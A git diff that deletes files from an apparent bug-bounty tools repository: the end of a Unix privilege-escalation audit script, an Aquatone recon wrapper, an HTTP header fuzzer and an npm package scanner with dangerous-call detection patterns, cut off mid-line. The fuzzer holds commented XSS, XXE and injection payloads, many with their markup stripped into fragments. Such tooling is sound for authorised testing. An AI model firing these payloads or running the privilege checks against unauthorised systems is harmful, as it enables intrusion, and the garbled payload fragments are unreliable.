-section "Checking for password hashes in /etc/passwd" -FLAG=`grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#'` -if [ -n "$FLAG" ]; then - echo "WARNING: There seem to be some password hashes in /etc/passwd" - grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#' - EXT_AUTH=1 -else - echo "No password hashes found in /etc/passwd" -fi - -section "Checking account settings" -# Check for something nasty like r00t::0:0::/:/bin/sh in /etc/passwd -# We only need read access to /etc/passwd to be able to check this. -if [ -r "/etc/passwd" ]; then - OPEN=`grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":"` - if [ -n "$OPEN" ]; then - echo "WARNING: The following accounts have no password:" - grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":" - fi -fi -if [ -r "$SHADOW" ]; then - echo "Checking for accounts with no passwords" - if [ "$OS" = "linux" ]; then - passwd -S -a | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - STATUS=`echo "$LINE" | awk '{print $2}'` - if [ "$STATUS" = "NP" ]; then - echo "WARNING: User $USER doesn't have a password" - fi - done - elif [ "$OS" = "solaris" ]; then - passwd -s -a | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - STATUS=`echo "$LINE" | awk '{print $2}'` - if [ "$STATUS" = "NP" ]; then - echo "WARNING: User $USER doesn't have a password" - fi - done - fi -else - echo "File $SHADOW isn't readable. Skipping some checks." -fi - -section "Checking library directories from /etc/ld.so.conf" -if [ -f "/etc/ld.so.conf" ] && [ -r "/etc/ld.so.conf" ]; then - for DIR in `grep '^/' /etc/ld.so.conf`; do - check_perms "$DIR is in /etc/ld.so.conf." $DIR root - done - - #FILES=`grep '^include' /etc/ld.so.conf | sed 's/^include *//'` - #if [ ! -z "$FILES" ]; then - # for DIR in `echo $FILES | xargs cat | sort -u`; do - # done - #fi -else - echo "File /etc/ld.so.conf not present. Skipping checks." -fi - -# Check sudoers if we have permission - needs root normally -section "Checking sudo configuration" -if [ -f "/etc/sudoers" ] && [ -r "/etc/sudoers" ]; then - echo ----------------- - echo "Checking if sudo is configured" - SUDO_USERS=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep -v '^[ \t]*Default' | grep =` - if [ ! -z "$SUDO_USERS" ]; then - echo "WARNING: Sudo is configured. Manually check nothing unsafe is allowed:" - grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep = | grep -v '^[ \t]*Default' - fi - - echo ----------------- - echo "Checking sudo users need a password" - SUDO_NOPASSWD=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD` - if [ ! -z "$SUDO_NOPASSWD" ]; then - echo "WARNING: Some users can use sudo without a password:" - grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD - fi -else - echo "File /etc/sudoers not present. Skipping checks." -fi - -section "Checking permissions on swap file(s)" -for SWAP in `swapon -s | grep -v '^Filename' | cut -f 1 -d ' '`; do - check_perms "$SWAP is used for swap space." $SWAP root - check_read_perms "$SWAP is used for swap space." $SWAP root -done - -section "Checking programs run from inittab" -if [ -f "/etc/inittab" ] && [ -r "/etc/inittab" ]; then - for FILE in `cat /etc/inittab | grep : | grep -v '^#' | cut -f 4 -d : | grep '/' | cut -f 1 -d ' ' | sort -u`; do - check_called_programs "$FILE is run from /etc/inittab as root." $FILE root - done -else - echo "File /etc/inittab not present. Skipping checks." -fi - -section "Checking postgres trust relationships" -for DIR in $PGDIRS; do - if [ -d "$DIR" ] && [ -r "$DIR/pg_hba.conf" ]; then - grep -v '^#' "$DIR/pg_hba.conf" | grep -v '^[ \t]*$' | while read LINE - do - AUTH=`echo "$LINE" | awk '{print $NF}'` - if [ "$AUTH" = "trust" ]; then - PGTRUST=1 - echo "WARNING: Postgres trust configured in $DIR/pg_hba.conf: $LINE" - fi - done - fi -done - -PGVER1=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` - -if [ -n "$PGVER1" ]; then - PGTRUST=1 - echo "WARNING: Can connect to local postgres database as \"postgres\" without a password" -fi - -PGVER2=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` - -if [ -n "$PGVER2" ]; then - PGTRUST=1 - echo "WARNING: Can connect to local postgres database as \"pgsql\" without a password" -fi - -if [ -z "$PGTRUST" ]; then - echo "No postgres trusts detected" -fi - -# Check device files for mounted file systems are secure -# cat /proc/mounts | while read LINE # Doesn't work so well when LVM is used - need to be root -section "Checking permissions on device files for mounted partitions" -if [ "$OS" = "linux" ]; then - mount | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $1}'` - FS=`echo "$LINE" | awk '{print $5}'` - if [ "$FS" = "ext2" ] || [ "$FS" = "ext3" ] ||[ "$FS" = "reiserfs" ]; then - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - fi - done -elif [ "$OS" = "bsd" ]; then - mount | grep ufs | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $1}'` - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - done -elif [ "$OS" = "solaris" ]; then - mount | grep xattr | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $3}'` - if [ ! "$DEVICE" = "swap" ]; then - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - fi - done -elif [ "$OS" = "hpux" ]; then - mount | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $3}'` - C=`echo $DEVICE | cut -c 1` - if [ "$C" = "/" ]; then - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - fi - done - - NFS=`mount | grep NFS` - if [ -n "$NFS" ]; then - echo "WARNING: This system is an NFS client. Check for nosuid and nodev options." - mount | grep NFS - fi -fi - -# Check cron jobs if they're readable -# TODO check that cron is actually running -section "Checking cron job programs aren't writable (/etc/crontab)" -CRONDIRS="" -if [ -f "/etc/crontab" ] && [ -r "/etc/crontab" ]; then - MYPATH=`grep '^PATH=' /etc/crontab | cut -f 2 -d = ` - echo Crontab path is $MYPATH - - # Check if /etc/cron.(hourly|daily|weekly|monthly) are being used - CRONDIRS=`grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-crons` - - # Process run-parts - grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-parts | while read LINE - do - echo "Processing crontab run-parts entry: $LINE" - USER=`echo "$LINE" | awk '{print $6}'` - DIR=`echo "$LINE" | sed 's/.*run-parts[^()&|;\/]*\(\/[^ ]*\).*/\1/'` - check_perms "$DIR holds cron jobs which are run as $USER." "$DIR" "$USER" - if [ -d "$DIR" ]; then - echo " Checking directory: $DIR" - for FILE in $DIR/*; do - FILENAME=`echo "$FILE" | sed 's/.*\///'` - if [ "$FILENAME" = "*" ]; then - echo " No files in this directory." - continue - fi - check_called_programs "$FILE is run by cron as $USER." "$FILE" "$USER" - done - fi - done - - # TODO bsd'd periodic: - # 1 3 * * * root periodic daily - # 15 4 * * 6 root periodic weekly - # 30 5 1 * * root periodic monthly - - grep -v '^#' /etc/crontab | grep -v '^[ ]*$' | grep '[ ][^ ][^ ]*[ ][ ]*' | while read LINE - do - echo "Processing crontab entry: $LINE" - USER=`echo "$LINE" | awk '{print $6}'` - PROG=`echo "$LINE" | awk '{print $7}'` - check_called_programs "$PROG is run from crontab as $USER." $PROG $USER $MYPATH - done -else - echo "File /etc/crontab not present. Skipping checks." -fi - -# Do this if run-crons is run from /etc/crontab -if [ -n "$CRONDIRS" ]; then - USER=`echo "$CRONDIRS" | awk '{print $6}'` - section "Checking /etc/cron.(hourly|daily|weekly|monthly)" - for DIR in hourly daily weekly monthly; do - if [ -d "/etc/cron.$DIR" ]; then - echo " Checking directory: /etc/cron.$DIR" - for FILE in /etc/cron.$DIR/*; do - FILENAME=`echo "$FILE" | sed 's/.*\///'` - if [ "$FILENAME" = "*" ]; then - echo "No files in this directory." - continue - fi - check_called_programs "$FILE is run via cron as $USER." "$FILE" $USER - done - fi - done -fi - -section "Checking cron job programs aren't writable (/var/spool/cron/crontabs)" -if [ -d "/var/spool/cron/crontabs" ]; then - for FILE in /var/spool/cron/crontabs/*; do - USER=`echo "$FILE" | sed 's/^.*\///'` - if [ "$USER" = "*" ]; then - echo "No user crontabs found in /var/spool/cron/crontabs. Skipping checks." - continue - fi - echo "Processing crontab for $USER: $FILE" - if [ -r "$FILE" ]; then - MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = ` - if [ -n "$MYPATH" ]; then - echo Crontab path is $MYPATH - fi - grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE - do - echo "Processing crontab entry: $LINE" - PROG=`echo "$LINE" | awk '{print $6}'` - check_called_programs "$PROG is run via cron as $USER." "$PROG" $USER - done - else - echo "ERROR: Can't read file $FILE" - fi - done -else - echo "Directory /var/spool/cron/crontabs is not present. Skipping checks." -fi - -section "Checking cron job programs aren't writable (/var/spool/cron/tabs)" -if [ -d "/var/spool/cron/tabs" ]; then - for FILE in /var/spool/cron/tabs/*; do - USER=`echo "$FILE" | sed 's/^.*\///'` - if [ "$USER" = "*" ]; then - echo "No user crontabs found in /var/spool/cron/crontabs. Skipping checks." - continue - fi - echo "Processing crontab for $USER: $FILE" - if [ -r "$FILE" ]; then - MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = ` - if [ -n "$MYPATH" ]; then - echo Crontab path is $MYPATH - fi - grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE - do - echo "Processing crontab entry: $LINE" - PROG=`echo "$LINE" | awk '{print $6}'` - check_called_programs "$PROG is run from cron as $USER." $PROG $USER $MYPATH - done - else - echo "ERROR: Can't read file $FILE" - fi - done -else - echo "Directory /var/spool/cron/tabs is not present. Skipping checks." -fi - -# Check programs run from /etc/inetd.conf have secure permissions -# TODO: check inetd is actually running -section "Checking inetd programs aren't writable" -if [ -f /etc/inetd.conf ] && [ -r /etc/inetd.conf ]; then - grep -v '^#' /etc/inetd.conf | grep -v '^[ \t]*$' | while read LINE - do - USER=`echo $LINE | awk '{print $5}'` - PROG=`echo $LINE | awk '{print $6}'` # could be tcpwappers ... - PROG2=`echo $LINE | awk '{print $7}'` # ... and this is the real prog - if [ -z "$PROG" ] || [ "$PROG" = "internal" ]; then - # Not calling an external program - continue - fi - echo Processing inetd line: $LINE - if [ -f "$PROG" ]; then - check_called_programs "$PROG is run from inetd as $USER." $PROG $USER - fi - if [ -f "$PROG2" ]; then - check_called_programs "$PROG is run from inetd as $USER." $PROG2 $USER - fi - done -else - echo "File /etc/inetd.conf not present. Skipping checks." -fi - -# Check programs run from /etc/xinetd.d/* -# TODO: check xinetd is actually running -section "Checking xinetd programs aren't writeable" -if [ -d /etc/xinetd.d ]; then - for FILE in `grep 'disable[ \t]*=[ \t]*no' /etc/xinetd.d/* | cut -f 1 -d :`; do - echo Processing xinetd service file: $FILE - PROG=`grep '^[ \t]*server[ \t]*=[ \t]*' $FILE | sed 's/.*server.*=[ \t]*//'` - USER=`grep '^[ \t]*user[ \t]*=[ \t]*' $FILE | sed 's/.*user.*=[ \t]*//'` - check_called_programs "$PROG is run from xinetd as $USER." $PROG $USER - done -else - echo "Directory /etc/xinetd.d not present. Skipping checks." -fi - -# Check for writable home directories -section "Checking home directories aren't writable" -cat /etc/passwd | grep -v '^#' | while read LINE -do - echo Processing /etc/passwd line: $LINE - USER=`echo $LINE | cut -f 1 -d :` - DIR=`echo $LINE | cut -f 6 -d :` - SHELL=`echo $LINE | cut -f 7 -d :` - if [ "$SHELL" = "/sbin/nologin" ] || [ "$SHELL" = "/bin/false" ]; then - echo " Skipping user $USER. They don't have a shell." - else - if [ "$DIR" = "/dev/null" ]; then - echo " Skipping /dev/null home directory" - else - check_perms "$DIR is the home directory of $USER." $DIR $USER - fi - fi -done - -# Check for readable files in home directories -section "Checking for readable sensitive files in home directories" -cat /etc/passwd | while read LINE -do - USER=`echo $LINE | cut -f 1 -d :` - DIR=`echo $LINE | cut -f 6 -d :` - SHELL=`echo $LINE | cut -f 7 -d :` - for FILE in $HOME_DIR_FILES; do - if [ -f "$DIR/$FILE" ]; then - check_read_perms "$DIR/$FILE is in the home directory of $USER." "$DIR/$FILE" $USER - fi - done -done - -section "Checking SUID programs" -if [ "$MODE" = "detailed" ]; then - for FILE in `find / -type f -perm -04000 2>/dev/null`; do - check_called_programs_suid $FILE - done -else - echo "Skipping checks of SUID programs (it's slow!). Run again in 'detailed' mode." -fi - -# Check for private SSH keys in home directories -section "Checking for Private SSH Keys home directories" -for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do - if [ -d "$HOMEDIR/.ssh" ]; then - PRIV_KEYS=`grep -l 'BEGIN [RD]SA PRIVATE KEY' $HOMEDIR/.ssh/* 2>/dev/null` - if [ -n "$PRIV_KEYS" ]; then - for KEY in $PRIV_KEYS; do - ENC_KEY=`grep -l 'ENCRYPTED' "$KEY" 2>/dev/null` - if [ -n "$ENC_KEY" ]; then - echo "WARNING: Encrypted Private SSH Key Found in $KEY" - else - echo "WARNING: Unencrypted Private SSH Key Found in $KEY" - fi - done - fi - fi -done - -# Check for public SSH keys in home directories -section "Checking for Public SSH Keys home directories" -for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do - if [ -r "$HOMEDIR/.ssh/authorized_keys" ]; then - KEYS=`grep '^ssh-' $HOMEDIR/.ssh/authorized_keys 2>/dev/null` - if [ -n "$KEYS" ]; then - echo "WARNING: Public SSH Key Found in $HOMEDIR/.ssh/authorized_keys" - fi - fi -done - -# Check for any SSH agents running on the box -section "Checking for SSH agents" -AGENTS=`ps -ef | grep ssh-agent | grep -v grep` -if [ -n "$AGENTS" ]; then - echo "WARNING: There are SSH agents running on this system:" - ps -ef | grep ssh-agent | grep -v grep - # for PID in `ps aux | grep ssh-agent | grep -v grep | awk '{print $2}'`; do - for SOCK in `ls /tmp/ssh-*/agent.* 2>/dev/null`; do - SSH_AUTH_SOCK=$SOCK; export SSH_AUTH_SOCK - AGENT_KEYS=`ssh-add -l | grep -v 'agent has no identities.' 2>/dev/null` - if [ -n "$AGENT_KEYS" ]; then - echo "WARNING: SSH Agent has keys loaded [SSH_AUTH_SOCK=$SSH_AUTH_SOCK]" - ssh-add -l - fi - done -else - echo "No SSH agents found" -fi - -# Check for any GPG agents running on the box -section "Checking for GPG agents" -AGENTS=`ps -ef | grep gpg-agent | grep -v grep` -if [ -n "$AGENTS" ]; then - echo "WARNING: There are GPG agents running on this system:" - ps aux | grep gpg-agent | grep -v grep -else - echo "No GPG agents found" -fi - -# Check files in /etc/init.d/* can't be modified by non-root users -section "Checking startup files (init.d / rc.d) aren't writable" -for DIR in /etc/init.d /etc/rc.d /usr/local/etc/rc.d; do - if [ -d "$DIR" ]; then - for FILE in $DIR/*; do - F=`echo "$FILE" | sed 's/^.*\///'` - if [ "$F" = "*" ]; then - echo "No user startup script found in $DIR. Skipping checks." - continue - fi - echo Processing startup script $FILE - check_called_programs "$FILE is run by root at startup." $FILE root - done - fi -done - -section "Checking if running programs are writable" -if [ $OS = "solaris" ]; then - # use the output of ps command - ps -ef -o user,comm | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - PROG=`echo "$LINE" | awk '{print $2}'` - check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" - done -elif [ $OS = "bsd" ]; then - # use the output of ps command - ps aux | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - PROG=`echo "$LINE" | awk '{print $11}'` - check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" - done -elif [ $OS = "hpux" ]; then - # use the output of ps command - ps -ef | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - PROG1=`echo "$LINE" | awk '{print $8}'` - PROG2=`echo "$LINE" | awk '{print $9}'` - if [ -f "$PROG1" ]; then - check_called_programs "$PROG is currently running as $USER." "$PROG1" "$USER" - fi - if [ -f "$PROG2" ]; then - check_called_programs "$PROG is currently running as $USER." "$PROG2" "$USER" - fi - done -elif [ $OS = "linux" ]; then - # use the /proc file system - for PROCDIR in /proc/[0-9]*; do - unset PROGPATH - PID=`echo $PROCDIR | cut -f 3 -d /` - echo ------------------------ - echo "PID: $PID" - if [ -d "$PROCDIR" ]; then - if [ -r "$PROCDIR/exe" ]; then - PROGPATH=`ls -l "$PROCDIR/exe" 2>&1 | sed 's/ (deleted)//' | awk '{print $NF}'` - else - if [ -r "$PROCDIR/cmdline" ]; then - P=`cat $PROCDIR/cmdline | tr "\0" = | cut -f 1 -d = | grep '^/'` - if [ -z "$P" ]; then - echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline` - else - PROGPATH=$P - fi - else - echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline` - continue - fi - fi - get_owner $PROCDIR; OWNER=$GET_OWNER_RETURN - echo "Owner: $OWNER" - else - echo "ERROR: Can't find OWNER. Process has gone." - continue - fi - - if [ -n "$PROGPATH" ]; then - get_owner $PROGPATH; PROGOWNER=$GET_OWNER_RETURN - echo "Program path: $PROGPATH" - check_called_programs "$PROGPATH is currently running as $OWNER." $PROGPATH $OWNER - fi - - if [ "$MODE" == "detailed" ]; then - for FILE in $PROCDIR/fd/*; do - F=`echo "$FILE" | sed 's/^.*\///'` - if [ "$F" = "*" ]; then - continue - fi - check_perms "$FILE is an open file descriptor for process $PID running as $OWNER." $FILE $OWNER - done - fi - done -fi \ No newline at end of file diff --git a/aqua b/aqua deleted file mode 100755 index d61d4b3..0000000 --- a/aqua +++ /dev/null @@ -1,12 +0,0 @@ -#!/bin/bash -# Aquatone automation script -# usage: ./aqua DOMAIN - -aquatone-discover -d $1 -aquatone-scan -d $1 -aquatone-gather -d $1 - -mv ~/aquatone/$1 . - -echo -echo "[+] DONE" diff --git a/http_headers_fuzzer/http_headers_fuzzer.py b/http_headers_fuzzer/http_headers_fuzzer.py deleted file mode 100755 index 8ef3144..0000000 --- a/http_headers_fuzzer/http_headers_fuzzer.py +++ /dev/null @@ -1,214 +0,0 @@ -#!/usr/bin/env python3 - -# HTTP headers fuzzer -# args: url -import requests -import sys -import os - -logfile = open('fuzzer.log', 'w') - -payloads = [ - { - "Content-Type": "text/plain", - "User-Agent": "HTTP Fuzzer", - "Accept": "*.*" - }, - { - "Content-Type": "application/xml", - "User-Agent": "", - "Accept": "*.*" - }, - { - "Content-Type": "application/json", - "Accept": "*.*", - "User-Agent": "';", - }, - # { - # "Host": sys.argv[1], - # "Content-Type": "image/jpeg", - # "Accept": "*.*", - # "User-Agent": '";-- - ' - # } -] - -postdata = [ - # text/plain - "some random string", - # application/x-www-form-urlencoded - "foo=bar&debug=true", - # application/xml - r""" - - - -Gambardella, Matthew -XML Developer's Guide -Computer -44.95 -2000-10-01 -An in-depth look at creating applications -with XML. - - - """, - # application/json - r""" -{"id":"10", "username":"admin","token":"somerandomtoken"} - """, - # some SSI - r""" -
-
 
-
-
- - - - - - - - - - - - - - - - - - """, - # r""" - # var n=0;while(true){n++;}]]> - # SCRIPT]]>alert('gotcha');/SCRIPT]]> - # - # ]>&xee; - # ]>&xee; - # ]>&xee; - # ]>&xee; - # - # ]> - # - # ]> - # "]]>" - # "cript:alert('XSS')"">" - # "" - # "XSS" - # ','')); phpinfo(); exit;/* - - # """, - # XXE - # r""" - # - # - # ]> - # ]>&foo; - # ]> - # ]>&foo; - # - # ]>&xxe; - # ]> - # ]>&xxe; - # ]> - # ]>&xxe; - # ]> - # ]>&xxe; - # ]> - # ]>&xxe; - # ]> - # ]>&xxe; - # - # ]]> - # &foo; - # %foo; - # count(/child::node()) - # x' or name()='username' or 'x'='y - # ','')); phpinfo(); exit;/* - # var n=0;while(true){n++;}]]> - # SCRIPT]]>alert('XSS');/SCRIPT]]> - # SCRIPT]]>alert('XSS');/SCRIPT]]> - # SCRIPT]]>alert('XSS');/SCRIPT]]> - # - # - # ]]> - # <IMG SRC="javascript:alert('XSS')"> - # - # - # - # XSS - # - # - # - # - # ]> - # ]> - # ]> - # ]> - # ]> - # "> %int; - # "> - # %dtd;%trick;]> - # %dtd;%trick;]> - # %dtd;]>]]> - # """ -] - - -def pretty_response_print(method, url, response): - if 'Content-Length' in response.headers.keys(): - content_length = response.headers['Content-Length'] - else: - content_length = 'unknown' - - print("{} {}\t\t HTTP {}: size: {}".format( - method, url, response.status_code, content_length)) - logfile.write('RESPONSE HEADERS:\n{}\nRESPONSE BODY:\n{}\n{}\n\n'.format( - response.headers.__str__(), response.text, '-' * 120)) - - -def send_request_with_method(method, url, payload): - http_url = "http://{}".format(url) - https_url = "https://{}".format(url) - if method == 'GET': - data = '' - logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, - http_url, payload.__str__(), data.__str__())) - pretty_response_print(method, http_url, requests.get( - http_url, headers=payload, allow_redirects=False)) - - logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, - https_url, payload.__str__(), data.__str__())) - pretty_response_print(method, https_url, requests.get( - https_url, headers=payload, allow_redirects=False)) - - if method == 'POST': - for data in postdata: - logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, - http_url, payload.__str__(), data.__str__())) - pretty_response_print(method, http_url, requests.post( - http_url, headers=payload, data=data, allow_redirects=False)) - - logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, - https_url, payload.__str__(), data.__str__())) - pretty_response_print(method, https_url, requests.post( - http_url, headers=payload, data=data, allow_redirects=False)) - - -def fuzz(host, url): - print("[+] Fuzzing {}...".format(url)) - - for payload in payloads: - payload["Host"] = host - send_request_with_method('GET', url, payload) - send_request_with_method('POST', url, payload) - - -if __name__ == '__main__': - host = sys.argv[1] - url = sys.argv[2] - - fuzz(host, url) - logfile.close() diff --git a/http_headers_fuzzer/requirements.txt b/http_headers_fuzzer/requirements.txt deleted file mode 100644 index 566083c..0000000 --- a/http_headers_fuzzer/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.22.0 diff --git a/npmpwnr.py b/npmpwnr.py deleted file mode 100755 index d507e49..0000000 --- a/npmpwnr.py +++ /dev/null @@ -1,124 +0,0 @@ -#!/usr/bin/env python3 -import requests -import json -import subprocess -import os -import re -import sys - - -limit = 10 -skip = 100 - -registry_base_url = "https://registry.npmjs.com" -logfile = "vulnerable.log" - -headers = { - "User-Agent": "bl4de@wearehackerone" -} -npm_home_dir = "{}/node_modules".format(os.environ['HOME']) - -patterns = [ - ".*url.parse\(", - ".*[pP]ath.normalize\(", - ".*fs.*File.*\(", - ".*fs.*Read.*\(", - ".*pipe\(res", - ".*bodyParser\(", - ".*eval\(", - ".*exec\(", - ".*execSync\(", - ".*res.write\(", - ".*child_process", - ".*child_process.exec\(", - ".*\sFunction\(", - ".*execFile\(", - ".*spawn\(", - ".*fork\(", - ".*setImmediate\(", - ".*newBuffer\(", - ".*\.constructor\(" -] - - -def get_list_of_packages_to_process(keyword, size): - res = requests.get( - url="{}{}".format( - registry_base_url, "/-/v1/search?text={}&size={}".format(keyword, size)), - headers=headers - ) - if res.status_code == 200: - return res.json() - - return False - - -def get_package_details(pkg_name): - res = requests.get( - url="{}{}".format(registry_base_url, pkg_name), - headers=headers - ) - if res.status_code == 200: - return res.json() - - return False - - -def install_package(pkg_name): - subprocess.run(["npm", "i", pkg_name]) - - -def process_files(subdirectory, sd_files, log): - """ - recursively iterates ofer all files and checks those which meet - criteria set by options only - """ - for __file in sd_files: - current_filename = os.path.join(subdirectory, __file) - if current_filename[-3:] == '.js': - perform_code_analysis(current_filename, log) - - -def perform_code_analysis(src, log): - """ - performs code analysis, line by line - """ - print_filename = True - - _file = open(src, "r") - _code = _file.readlines() - i = 0 - found = False - for _line in _code: - i += 1 - __line = _line.strip() - for __pattern in patterns: - __rex = re.compile(__pattern) - if __rex.match(__line.replace(' ', '')): - found = True - if found == True: - print("file {} is vulnerable".format(src)) - log.write("{}\n".format(src)) - - -if len(sys.argv) < 2: - exit('No keywork provided, exiting...') -else: - keyword = sys.argv[1] - -size = 10 # default -if len(sys.argv) == 3: - size = int(sys.argv[2]) - -log = open(logfile, "w") - -# get list of packages to process -pkgs = get_list_of_packages_to_process(keyword, size) - -for pkg in pkgs['objects']: - pkg_name = pkg['package']['name'] - install_package(pkg_name) - log.write("\n{}\n".format(pkg_name)) - - for subdir, dirs, files in os.walk("{}/{}".format(npm_home_dir, pkg_name)): - process_files(subdir, files, log) diff --git a/source_tracker/LICENSE.md b/source_tracker/LICENSE.md deleted file mode 100644 index a32ee95..0000000 --- a/source_tracker/LICENSE.md +++ /dev/null @@ -1,20 +0,0 @@ -Copyright (c) 2018 Rafal 'bl4de' Janicki - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/source_tracker/README.md b/source_tracker/README.md deleted file mode 100644 index a8641a7..0000000 --- a/source_tracker/README.md +++ /dev/null @@ -1,80 +0,0 @@ -### source_tracker.py - compare website source code with snapshot - -This tool compares website source code with previously saved snapshot. - -When used first time, it creates snapshot. When used again, it compares source code from the moment when tools was run with the source code saved in snapshot - and shows all differences (line by line) if any. - -### Usage - -Sample usage (no differences found between current source and snapshoted one): - -``` -$ ./compare.py https://hackerone.com - -[+] snapshot not found, saving snapshot... - -$ ./compare.py https://hackerone.com - -[+] snapshot found, compare snapshot with current source... - - --------------------------------------------------------------------------------------------- -[+] no differencies found; snapshot and current https://hackerone.com source are identical - -[+] DONE. -``` - -Sample usage (differences found): - - -``` -$ ./compare.py http://localhost:8080/test.html - -[+] snapshot not found, saving snapshot... - -``` - -Now, I've introduced some small changes in `test.html` and run tool again: - -``` -$ ./compare.py http://localhost:8080/test.html - -[+] snapshot found, compare snapshot with current source... - --- LINE 4 -------------------------------------------------------------------------------- - ->>>>> snaphsot line 4 -: - Node HackerOne Playground - - -<<<<< site source line 4 - - Node HackerOne Playground Title changed? - --- LINE 9 -------------------------------------------------------------------------------- - ->>>>> snaphsot line 9 -: - console.log('uh oh, change!!') - - -<<<<< site source line 9 - - console.log('changed here!!') - - --------------------------------------------------------------------------------------------- -[+] 2 differencies between snapshot and current source found - -[+] DONE. - -``` - -### TODO - -- refactoring -- multiple websites compare (loaded list form file, eg. output from Aquatone?) -- colorful output :D -- multiple snapshots (?) - diff --git a/source_tracker/source_tracker.py b/source_tracker/source_tracker.py deleted file mode 100755 index 39d95ff..0000000 --- a/source_tracker/source_tracker.py +++ /dev/null @@ -1,127 +0,0 @@ -#!/usr/bin/python -""" -source_tracker.py - -@author: Rafal 'bl4de' Janicki - -@Twitter: https://twitter.com/_bl4de -@HackerOne: https://hackerone.com/bl4de -@GitHub: https://github.com/bl4de - -Website source changes tracker. When run for the first time against given url, creates snapshot file with current source. -Next run compares source from snapshot and shows all differencies between saved snapshot and current source. - -Licence: MIT -""" -import requests -import os -import argparse - -colors = { - "black": '\33[30m', - "white": '\33[37m', - "red": '\33[31m', - "green": '\33[32m', - "yellow": '\33[33m', - "blue": '\33[34m', - "magenta": '\33[35m', - "cyan": '\33[36m', - "grey": '\33[90m', - "lightgrey": '\33[37m', - "lightblue": '\33[94' -} - - -def create_filename_from_url(site_url): - return site_url.replace('https://', '').replace( - 'http://', '').replace('/', '_').replace(':', '_').replace('.', '_') + '_SNAPSHOT' - - -def send_request(site_url): - headers = { - 'Accept': 'text/html', - 'User-Agent': 'Some simple Python script' - } - return requests.get(site_url, headers=headers) - - -def abort(status_code): - print '\n{}[-] response code: HTTP {}{}'.format( - colors['red'], status_code, colors['white']) - print '\n{}[-] ABORTING...{}\n'.format(colors['red'], colors['white']) - exit(0) - - -def print_line(line, color): - # TBD - return - -def print_diff(snapshot_source, site_source, line_counter): - print '\n{}-- Change in line {} {}{}'.format(colors['red'], - line_counter + 1, '-' * 80 + '\n', colors['white']) - - print '{}>>>>> snaphsot line {}'.format( - colors['yellow'], line_counter + 1) - - print '{}{}:\t{}{}'.format(colors['white'],line_counter, colors['grey'], snapshot_source[line_counter - 1].strip()) - print '{}{}:\t{}{}'.format(colors['white'],line_counter + 1, colors['cyan'], snapshot_source[line_counter].strip()) - print '{}{}:\t{}{}'.format(colors['white'],line_counter + 2, colors['grey'], snapshot_source[line_counter + 1].strip()) - - print '\n{}<<<<< site source line {}'.format( - colors['yellow'], line_counter + 1) - print '{}{}:\t{}{}'.format(colors['white'], line_counter, colors['grey'], site_source[line_counter - 1].strip()) - print '{}{}:\t{}{}'.format(colors['white'], line_counter + 1, colors['cyan'], site_source[line_counter].strip()) - print 